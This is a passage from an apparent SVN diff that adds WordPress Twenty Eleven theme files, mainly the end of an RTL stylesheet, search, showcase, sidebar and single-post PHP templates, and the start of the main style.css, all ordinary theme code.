+	background-image: url(images/comment-bubble-rtl.png);
+	right: auto;
+	left: 0;
+}
+
+/*
+	Post Formats Headings
+*/
+.singular .entry-title,
+.singular .entry-header .entry-meta {
+	padding-left: 0;
+}
+.singular .entry-header .entry-meta {
+	left: auto;
+	right: 0;
+}
+.singular .entry-meta .edit-link a {
+	left: auto;
+	right: 50px;
+}
+
+
+/* =Gallery
+----------------------------------------------- */
+
+.format-gallery .gallery-thumb {
+	float: right;
+	margin: .375em 0 0 1.625em;
+}
+
+
+/* =Status
+----------------------------------------------- */
+
+.format-status img.avatar {
+	float: right;
+	margin: 4px 0 2px 10px;
+}
+
+
+/* =Image
+----------------------------------------------- */
+
+.indexed.format-image div.entry-meta {
+	float: right;
+}
+/* =error404
+----------------------
+------------------------- */
+.error404 #main .widget {
+	float: right;
+	margin-right: auto;
+	margin-left: 3.7%;
+}
+.error404 #main .widget_archive {
+	margin-left: 0;
+}
+.error404 #main .widget_tag_cloud {
+	margin-left: 0;
+}
+
+/* =Showcase
+----------------------------------------------- */
+
+article.intro .edit-link a {
+	right: auto;
+	left: 20px;
+}
+
+/* Featured post */
+section.featured-post {
+	float: right;
+}
+
+/* Small featured post */
+section.featured-post .attachment-small-feature {
+	float: left;
+	margin: 0 0 1.625em -8.9%;
+	right: auto;
+	left: -15px;
+}
+article.feature-image.small {
+	float: right;
+}
+article.feature-image.small .entry-summary p a {
+	left:auto;
+	right: -23.8%;
+	padding: 9px 85px 9px 26px;
+}
+
+/* Large featured post */
+section.feature-image.large .hentry {
+	left:auto;
+	right: 9%;
+	margin: 1.625em 0 0 9%;
+}
+/* Featured Slider */
+.featured-posts .showcase-heading {
+	padding-left: 0;
+	padding-right: 8.9%;
+}
+.featured-posts section.featured-post {
+	left: auto;
+	right: 0;
+}
+#content .feature-slider {
+	right: auto;
+	left: 8.9%;
+}
+.feature-slider li {
+	float: right;
+}
+/* Recent Posts */
+section.recent-posts .other-recent-posts a[rel="bookmark"] {
+	float: right;
+}
+section.recent-posts .other-recent-posts .comments-link a,
+section.recent-posts .other-recent-posts .comments-link > span {
+	padding: 0.3125em 1em 0.3125em 0;
+	right: auto;
+	left: 0;
+	text-align: left;
+}
+
+/* =Attachments
+----------------------------------------------- */
+
+/* =Navigation
+-------------------------------------------------------------- */
+
+.nav-previous {
+	float: right;
+}
+.nav-next {
+	float: left;
+	text-align: left;
+}
+
+/* Singular navigation */
+#nav-single {
+	float: left;
+	text-align: left;
+}
+#nav-single .nav-next {
+	padding-left: 0;
+	padding-right: .5em;
+}
+
+
+/* =Widgets
+----------------------------------------------- */
+
+.widget ul ul {
+	margin-left: 0;
+	margin-right: 1.5em;
+}
+
+/* Twitter */
+.widget_twitter .timesince {
+	margin-right: 0;
+	margin-left: -10px;
+	text-align: left;
+}
+.widget_text ul,
+.widget_text ol {
+	margin: 0 2.5em 1.625em 0;
+}
+
+/* =Comments
+----------------------------------------------- */
+
+.commentlist .children li.comment {
+	border-left: none;
+	border-right: 1px solid #ddd;
+	-moz-border-radius: 3px 0  0 3px;
+	border-radius: 3px 0 0 3px;
+}
+.commentlist .children li.comment .comment-meta {
+	margin-left: 0;
+	margin-right: 50px;
+}
+.commentlist .avatar {
+	left: auto;
+	right: -102px;
+}
+.commentlist > li:before {
+	content: url(images/comment-arrow-rtl.png);
+	left:auto;
+	right: -21px;
+}
+.commentlist > li.pingback:before {
+	content: '';
+}
+.commentlist .children .avatar {
+	left: auto;
+	right: 2.2em;
+}
+
+/* Post author highlighting */
+.commentlist > li.bypostauthor:before {
+	content: url(images/comment-arrow-bypostauthor-rtl.png);
+}
+
+/* sidebar-page.php comments */
+/* Make sure we have room for our comment avatars */
+.page-template-sidebar-page-php .commentlist > li.comment,
+.page-template-sidebar-page-php.commentlist .pingback {
+	margin-left: 0;
+	margin-right: 102px;
+}
+
+/* Comment Form */
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	left: auto;
+	right: 4px;
+}
+#respond .comment-form-author label,
+#respond .comment-form-email label,
+#respond .comment-form-url label,
+#respond .comment-form-comment label {
+	-webkit-box-shadow: -1px 2px 2px rgba(204,204,204,0.8);
+	-moz-box-shadow: -1px 2px 2px rgba(204,204,204,0.8);
+	box-shadow: -1px 2px 2px rgba(204,204,204,0.8);
+}
+#respond .comment-form-author .required,
+#respond .comment-form-email .required {
+	left: auto;
+	right: 75%;
+}
+#respond .form-submit {
+	float: left;
+}
+#respond input#submit {
+	left: auto;
+	right: 30px;
+	padding: 5px 22px 5px 42px;
+}
+#respond #cancel-comment-reply-link {
+	margin-left: 0;
+	margin-right: 10px;
+}
+#cancel-comment-reply-link {
+	right: auto;
+	left: 1.625em;
+}
+
+/* =Footer
+----------------------------------------------- */
+
+/* Two Footer Widget Areas */
+#supplementary.two .widget-area {
+	float: right;
+	margin-right: 0;
+	margin-left: 3.7%;
+}
+#supplementary.two .widget-area + .widget-area {
+	margin-left: 0;
+}
+
+/* Three Footer Widget Areas */
+#supplementary.three .widget-area {
+	float: right;
+	margin-right: 0;
+	margin-left: 3.7%;
+}
+#supplementary.three .widget-area + .widget-area + .widget-area {
+	margin-left: 0;
+}
+
+/* Site Generator Line */
+#site-generator .sep {
+	background-position: right center;
+}
+
+
+/* =Responsive Structure
+----------------------------------------------- */
+
+@media (max-width: 800px) {
+	/* Simplify the showcase template when small feature */
+	section.featured-post .attachment-small-feature,
+	.one-column section.featured-post .attachment-small-feature {
+		float: right;
+	}
+	article.feature-image.small {
+		float: left;
+	}
+	article.feature-image.small .entry-summary p a {
+		right: 0;
+	}
+	.singular .entry-meta .edit-link a {
+		left: auto;
+		right: 0px;
+	}
+	/* Make sure we have room for our comment avatars */
+	.commentlist > li.comment,
+	.commentlist .pingback {
+		margin-left: 0;
+		margin-right: 102px;
+	}
+	/* No need to float footer widgets at this size */
+	#colophon #supplementary .widget-area {
+		margin-left: 0;
+	}
+	/* No need to float 404 widgets at this size */
+	.error404 #main .widget {
+		margin-left: 0;
+	}
+}
+@media (max-width: 650px) {
+	/* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */
+	#site-title,
+	#site-description {
+		margin-left: 0;
+	}
+	/* Talking avatars take up too much room at this size */
+	.commentlist > li.comment,
+	.commentlist > li.pingback {
+		margin-right: 0 !important;
+	}
+	.commentlist .children .avatar {
+		left: auto;
+		right: 2.2em;
+	}
+	/* Use the available space in the smaller comment form */
+	#respond .comment-form-author .required,
+	#respond .comment-form-email .required {
+	    left: auto;
+	    right: 95%;
+	}
+	#content .gallery-columns-3 .gallery-item {
+		padding-right: 0;
+		padding-left:2%;
+	}
+}
+@media (max-width: 450px) {
+	#content .gallery-columns-2 .gallery-item {
+		padding-right:0;
+		padding-left:4%;
+	}
+}
+
+/* =Print
+----------------------------------------------- */
+
+@media print {
+	#primary {
+	    float: right;
+	}
+	/* Comments */
+	.commentlist .avatar {
+	    left: auto;
+	    right: 2.2em;
+	}
+	.commentlist li.comment .comment-meta {
+	    margin-left: 0;
+	    margin-right: 50px;
+	}
+}
+
+/* =IE7
+----------------------------------------------- */
+
+#ie7 section.recent-posts {
+	margin-right: 0;
+	margin-left: 7.6%;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/search.php	(revision 56912)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyeleven' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that
+						 * will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/searchform.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/searchform.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/searchform.php	(revision 56912)
@@ -0,0 +1,14 @@
+<?php
+/**
+ * Template for displaying search forms in Twenty Eleven
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+	<form method="get" id="searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>">
+		<label for="s" class="assistive-text"><?php _e( 'Search', 'twentyeleven' ); ?></label>
+		<input type="text" class="field" name="s" id="s" placeholder="<?php esc_attr_e( 'Search', 'twentyeleven' ); ?>" />
+		<input type="submit" class="submit" name="submit" id="searchsubmit" value="<?php esc_attr_e( 'Search', 'twentyeleven' ); ?>" />
+	</form>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/showcase.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/showcase.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/showcase.php	(revision 56912)
@@ -0,0 +1,228 @@
+<?php
+/**
+ * Template Name: Showcase Template
+ *
+ * Description: A Page Template that showcases Sticky Posts, Asides, and Blog Posts.
+ *
+ * The showcase template in Twenty Eleven consists of a featured posts section using sticky posts,
+ * another recent posts area (with the latest post shown in full and the rest as a list)
+ * and a left sidebar holding aside posts.
+ *
+ * We are creating two queries to fetch the proper posts and a custom widget for the sidebar.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+// Enqueue showcase script for the slider
+wp_enqueue_script( 'twentyeleven-showcase', get_template_directory_uri() . '/js/showcase.js', array( 'jquery' ), '2011-04-28' );
+
+get_header(); ?>
+
+		<div id="primary" class="showcase">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+				<?php
+					/*
+					 * We are using a heading by rendering the_content
+					 * If we have content for this page, let's display it.
+					 */
+					if ( '' != get_the_content() )
+						get_template_part( 'content', 'intro' );
+				?>
+
+				<?php endwhile; ?>
+
+				<?php
+					/*
+					 * Begin the featured posts section.
+					 *
+					 * See if we have any sticky posts and use them to create our featured posts.
+					 * We limit the featured posts at ten.
+					 */
+					$sticky = get_option( 'sticky_posts' );
+
+					// Proceed only if sticky posts exist.
+					if ( ! empty( $sticky ) ) :
+
+					$featured_args = array(
+						'post__in' => $sticky,
+						'post_status' => 'publish',
+						'posts_per_page' => 10,
+						'no_found_rows' => true,
+					);
+
+					// The Featured Posts query.
+					$featured = new WP_Query( $featured_args );
+
+					// Proceed only if published posts exist
+					if ( $featured->have_posts() ) :
+
+					/*
+					 * We will need to count featured posts starting from zero
+					 * to create the slider navigation.
+					 */
+					$counter_slider = 0;
+
+					// Compatibility with versions of WordPress prior to 3.4.
+					if ( function_exists( 'get_custom_header' ) )
+						$header_image_width = get_theme_support( 'custom-header', 'width' );
+					else
+						$header_image_width = HEADER_IMAGE_WIDTH;
+				?>
+
+				<div class="featured-posts">
+					<h1 class="showcase-heading"><?php _e( 'Featured Post', 'twentyeleven' ); ?></h1>
+
+				<?php
+					// Let's roll.
+					while ( $featured->have_posts() ) : $featured->the_post();
+
+					// Increase the counter.
+					$counter_slider++;
+
+					/*
+					 * We're going to add a class to our featured post for featured images
+					 * by default it'll have the feature-text class.
+					 */
+					$feature_class = 'feature-text';
+
+					if ( has_post_thumbnail() ) {
+						// ... but if it has a featured image let's add some class
+						$feature_class = 'feature-image small';
+
+						// Hang on. Let's check this here image out.
+						$image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), array( $header_image_width, $header_image_width ) );
+
+						// Is it bigger than or equal to our header?
+						if ( $image[1] >= $header_image_width ) {
+							// If bigger, let's add a BIGGER class. It's EXTRA classy now.
+							$feature_class = 'feature-image large';
+						}
+					}
+					?>
+
+					<section class="featured-post <?php echo esc_attr( $feature_class ); ?>" id="featured-post-<?php echo esc_attr( $counter_slider ); ?>">
+
+						<?php
+							/*
+							 * If the thumbnail is as big as the header image
+							 * make it a large featured post, otherwise render it small
+							 */
+							if ( has_post_thumbnail() ) {
+								if ( $image[1] >= $header_image_width )
+									$thumbnail_size = 'large-feature';
+								else
+									$thumbnail_size = 'small-feature';
+								?>
+								<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_post_thumbnail( $thumbnail_size ); ?></a>
+								<?php
+							}
+						?>
+						<?php get_template_part( 'content', 'featured' ); ?>
+					</section>
+				<?php endwhile;	?>
+
+				<?php
+					// Show slider only if we have more than one featured post.
+					if ( $featured->post_count > 1 ) :
+				?>
+				<nav class="feature-slider">
+					<ul>
+					<?php
+
+						// Reset the counter so that we end up with matching elements
+						$counter_slider = 0;
+
+						// Begin from zero
+						rewind_posts();
+
+						// Let's roll again.
+						while ( $featured->have_posts() ) : $featured->the_post();
+							$counter_slider++;
+							if ( 1 == $counter_slider )
+								$class = ' class="active"';
+							else
+								$class = '';
+						?>
+						<li><a href="#featured-post-<?php echo esc_attr( $counter_slider ); ?>" title="<?php echo esc_attr( sprintf( __( 'Featuring: %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>"<?php echo $class; ?>></a></li>
+					<?php endwhile;	?>
+					</ul>
+				</nav>
+				<?php endif; // End check for more than one sticky post. ?>
+				</div><!-- .featured-posts -->
+				<?php endif; // End check for published posts. ?>
+				<?php endif; // End check for sticky posts. ?>
+
+				<section class="recent-posts">
+					<h1 class="showcase-heading"><?php _e( 'Recent Posts', 'twentyeleven' ); ?></h1>
+
+					<?php
+
+					// Display our recent posts, showing full content for the very latest, ignoring Aside posts.
+					$recent_args = array(
+						'order' => 'DESC',
+						'post__not_in' => get_option( 'sticky_posts' ),
+						'tax_query' => array(
+							array(
+								'taxonomy' => 'post_format',
+								'terms' => array( 'post-format-aside', 'post-format-link', 'post-format-quote', 'post-format-status' ),
+								'field' => 'slug',
+								'operator' => 'NOT IN',
+							),
+						),
+						'no_found_rows' => true,
+					);
+
+					// Our new query for the Recent Posts section.
+					$recent = new WP_Query( $recent_args );
+
+					// The first Recent post is displayed normally
+					if ( $recent->have_posts() ) : $recent->the_post();
+
+						// Set $more to 0 in order to only get the first part of the post.
+						global $more;
+						$more = 0;
+
+						get_template_part( 'content', get_post_format() );
+
+						echo '<ol class="other-recent-posts">';
+
+					endif;
+
+					// For all other recent posts, just display the title and comment status.
+					while ( $recent->have_posts() ) : $recent->the_post(); ?>
+
+						<li class="entry-title">
+							<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+							<span class="comments-link">
+								<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?>
+							</span>
+						</li>
+
+					<?php
+					endwhile;
+
+					// If we had some posts, close the <ol>
+					if ( $recent->post_count > 0 )
+						echo '</ol>';
+					?>
+				</section><!-- .recent-posts -->
+
+				<div class="widget-area" role="complementary">
+					<?php if ( ! dynamic_sidebar( 'sidebar-2' ) ) : ?>
+
+						<?php
+						the_widget( 'Twenty_Eleven_Ephemera_Widget', '', array( 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>' ) );
+						?>
+
+					<?php endif; // end sidebar widget area ?>
+				</div><!-- .widget-area -->
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar-footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar-footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar-footer.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Footer widget areas
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<?php
+	/*
+	 * The footer widget area is triggered if any of the areas
+	 * have widgets. So let's check that first.
+	 *
+	 * If none of the sidebars have widgets, then let's bail early.
+	 */
+	if (   ! is_active_sidebar( 'sidebar-3'  )
+		&& ! is_active_sidebar( 'sidebar-4' )
+		&& ! is_active_sidebar( 'sidebar-5'  )
+	)
+		return;
+	// If we get this far, we have widgets. Let do this.
+?>
+<div id="supplementary" <?php twentyeleven_footer_sidebar_class(); ?>>
+	<?php if ( is_active_sidebar( 'sidebar-3' ) ) : ?>
+	<div id="first" class="widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-3' ); ?>
+	</div><!-- #first .widget-area -->
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-4' ) ) : ?>
+	<div id="second" class="widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-4' ); ?>
+	</div><!-- #second .widget-area -->
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-5' ) ) : ?>
+	<div id="third" class="widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-5' ); ?>
+	</div><!-- #third .widget-area -->
+	<?php endif; ?>
+</div><!-- #supplementary -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar-page.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Template Name: Sidebar Template
+ *
+ * Description: A Page Template that adds a sidebar to pages.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php get_template_part( 'content', 'page' ); ?>
+
+					<?php comments_template( '', true ); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/sidebar.php	(revision 56912)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Sidebar containing the main widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+$options = twentyeleven_get_theme_options();
+$current_layout = $options['theme_layout'];
+
+if ( 'content' != $current_layout ) :
+?>
+		<div id="secondary" class="widget-area" role="complementary">
+			<?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?>
+
+				<aside id="archives" class="widget">
+					<h3 class="widget-title"><?php _e( 'Archives', 'twentyeleven' ); ?></h3>
+					<ul>
+						<?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>
+					</ul>
+				</aside>
+
+				<aside id="meta" class="widget">
+					<h3 class="widget-title"><?php _e( 'Meta', 'twentyeleven' ); ?></h3>
+					<ul>
+						<?php wp_register(); ?>
+						<li><?php wp_loginout(); ?></li>
+						<?php wp_meta(); ?>
+					</ul>
+				</aside>
+
+			<?php endif; // end sidebar widget area ?>
+		</div><!-- #secondary .widget-area -->
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/single.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<nav id="nav-single">
+						<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentyeleven' ); ?></h3>
+						<span class="nav-previous"><?php previous_post_link( '%link', __( '<span class="meta-nav">&larr;</span> Previous', 'twentyeleven' ) ); ?></span>
+						<span class="nav-next"><?php next_post_link( '%link', __( 'Next <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?></span>
+					</nav><!-- #nav-single -->
+
+					<?php get_template_part( 'content-single', get_post_format() ); ?>
+
+					<?php comments_template( '', true ); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/style.css	(revision 56912)
@@ -0,0 +1,2824 @@
+/*
+Theme Name: Twenty Eleven
+Theme URI: https://wordpress.org/themes/twentyeleven/
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats.
+Version: 3.1
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, one-column, two-columns, left-sidebar, right-sidebar, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, flexible-header, footer-widgets, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready
+Text Domain: twentyeleven
+*/
+
+/* =Reset default browser CSS. Based on work by Eric Meyer.
+-------------------------------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+	border: 0;
+	font-family: inherit;
+	font-size: 100%;
+	font-style: inherit;
+	font-weight: inherit;
+	margin: 0;
+	outline: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+:focus {/* remember to define focus styles! */
+	outline: 0;
+}
+body {
+	background: #fff;
+	line-height: 1;
+}
+ol, ul {
+	list-style: none;
+}
+table {/* tables still need 'cellspacing="0"' in the markup */
+	border-collapse: separate;
+	border-spacing: 0;
+}
+caption, th, td {
+	font-weight: normal;
+	text-align: left;
+}
+blockquote:before, blockquote:after,
+q:before, q:after {
+	content: "";
+}
+blockquote, q {
+	quotes: "" "";
+}
+a img {
+	border: 0;
+}
+article, aside, details, figcaption, figure,
+footer, header, hgroup, menu, nav, section {
+	display: block;
+}
+
+
+/* =Structure
+----------------------------------------------- */
+
+body {
+	padding: 0 2em;
+}
+#page {
+	margin: 2em auto;
+	max-width: 1000px;
+}
+#branding hgroup {
+	margin: 0 7.6%;
+}
+#access div {
+	margin: 0 7.6%;
+}
+#primary {
+	float: left;
+	margin: 0 -26.4% 0 0;
+	width: 100%;
+}
+#content {
+	margin: 0 34% 0 7.6%;
+	width: 58.4%;
+}
+#secondary {
+	float: right;
+	margin-right: 7.6%;
+	width: 18.8%;
+}
+
+/* Singular */
+.singular #primary {
+	margin: 0;
+}
+.singular #content,
+.left-sidebar.singular #content {
+	margin: 0 7.6%;
+	position: relative;
+	width: auto;
+}
+.singular .entry-header,
+.singular .entry-content,
+.singular footer.entry-meta,
+.singular #comments-title {
+	margin: 0 auto;
+	width: 68.9%;
+}
+
+/* Attachments */
+.singular .image-attachment .entry-content {
+	margin: 0 auto;
+	width: auto;
+}
+.singular .image-attachment .entry-description {
+	margin: 0 auto;
+	width: 68.9%;
+}
+
+/* Showcase */
+.page-template-showcase-php #primary,
+.left-sidebar.page-template-showcase-php #primary {
+	margin: 0;
+}
+.page-template-showcase-php #content,
+.left-sidebar.page-template-showcase-php #content {
+	margin: 0 7.6%;
+	width: auto;
+}
+.page-template-showcase-php section.recent-posts {
+	float: right;
+	margin: 0 0 0 31%;
+	width: 69%;
+}
+.page-template-showcase-php #main .widget-area {
+	float: left;
+	margin: 0 -22.15% 0 0;
+	width: 22.15%;
+}
+
+/* error404 */
+.error404 #primary {
+	float: none;
+	margin: 0;
+}
+.error404 #primary #content {
+	margin: 0 7.6%;
+	width: auto;
+}
+
+/* Alignment */
+.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 1.625em;
+}
+.alignright {
+	display: inline;
+	float: right;
+	margin-left: 1.625em;
+}
+.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+/* Right Content */
+.left-sidebar #primary {
+	float: right;
+	margin: 0 0 0 -26.4%;
+	width: 100%;
+}
+.left-sidebar #content {
+	margin: 0 7.6% 0 34%;
+	width: 58.4%;
+}
+.left-sidebar #secondary {
+	float: left;
+	margin-left: 7.6%;
+	margin-right: 0;
+	width: 18.8%;
+}
+
+/* One column */
+.one-column #page {
+	max-width: 690px;
+}
+.one-column #content {
+	margin: 0 7.6%;
+	width: auto;
+}
+.one-column #nav-below {
+	border-bottom: 1px solid #ddd;
+	margin-bottom: 1.625em;
+}
+.one-column #secondary {
+	float: none;
+	margin: 0 7.6%;
+	width: auto;
+}
+/* Simplify the showcase template */
+.one-column .page-template-showcase-php section.recent-posts {
+	float: none;
+	margin: 0;
+	width: 100%;
+}
+.one-column .page-template-showcase-php #main .widget-area {
+	float: none;
+	margin: 0;
+	width: auto;
+}
+.one-column .page-template-showcase-php .other-recent-posts {
+	border-bottom: 1px solid #ddd;
+}
+/* Simplify the showcase template when small feature */
+.one-column section.featured-post .attachment-small-feature {
+	border: none;
+	display: block;
+	height: auto;
+	max-width: 60%;
+	position: static;
+}
+.one-column article.feature-image.small {
+	margin: 0 0 1.625em;
+	padding: 0;
+}
+.one-column article.feature-image.small .entry-title {
+	font-size: 20px;
+	line-height: 1.3em;
+}
+.one-column article.feature-image.small .entry-summary {
+	height: 150px;
+	overflow: hidden;
+	padding: 0;
+	text-overflow: ellipsis;
+}
+.one-column article.feature-image.small .entry-summary a {
+	left: -9%;
+}
+/* Remove the margin on singular articles */
+.one-column.singular .entry-header,
+.one-column.singular .entry-content,
+.one-column.singular footer.entry-meta,
+.one-column.singular #comments-title {
+	width: 100%;
+}
+/* Simplify the pullquotes and pull styles */
+.one-column.singular blockquote.pull {
+	margin: 0 0 1.625em;
+}
+.one-column.singular .pull.alignleft {
+	margin: 0 1.625em 0 0;
+}
+.one-column.singular .pull.alignright {
+	margin: 0 0 0 1.625em;
+}
+.one-column.singular .entry-meta .edit-link a {
+	position: absolute;
+	left: 0;
+	top: 40px;
+}
+.one-column.singular #author-info {
+	margin: 2.2em -8.8% 0;
+	padding: 20px 8.8%;
+}
+/* Make sure we have room for our comment avatars */
+.one-column .commentlist > li.comment {
+	margin-left: 102px;
+	width: auto;
+}
+/* Make sure the logo and search form don't collide */
+.one-column #branding #searchform {
+	right: 40px;
+	top: 4em;
+}
+/* Talking avatars take up too much room at this size */
+.one-column .commentlist > li.comment {
+	margin-left: 0;
+}
+.one-column .commentlist > li.comment .comment-meta,
+.one-column .commentlist > li.comment .comment-content {
+	margin-right: 85px;
+}
+.one-column .commentlist .avatar {
+	background: transparent;
+	display: block;
+	padding: 0;
+	top: 1.625em;
+	left: auto;
+	right: 1.625em;
+}
+.one-column .commentlist .children .avatar {
+	background: none;
+	padding: 0;
+	position: absolute;
+	top: 2.2em;
+	left: 2.2em;
+}
+.one-column #respond {
+	width: auto;
+}
+
+
+/* =Global
+----------------------------------------------- */
+
+body, input, textarea {
+	color: #373737;
+	font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	line-height: 1.625;
+}
+body {
+	background: #e2e2e2;
+}
+#page {
+	background: #fff;
+}
+
+/* Headings */
+h1,h2,h3,h4,h5,h6 {
+	clear: both;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.625em;
+}
+
+/* Text elements */
+p {
+	margin-bottom: 1.625em;
+}
+ul, ol {
+	margin: 0 0 1.625em 2.5em;
+}
+ul {
+	list-style: square;
+}
+ol {
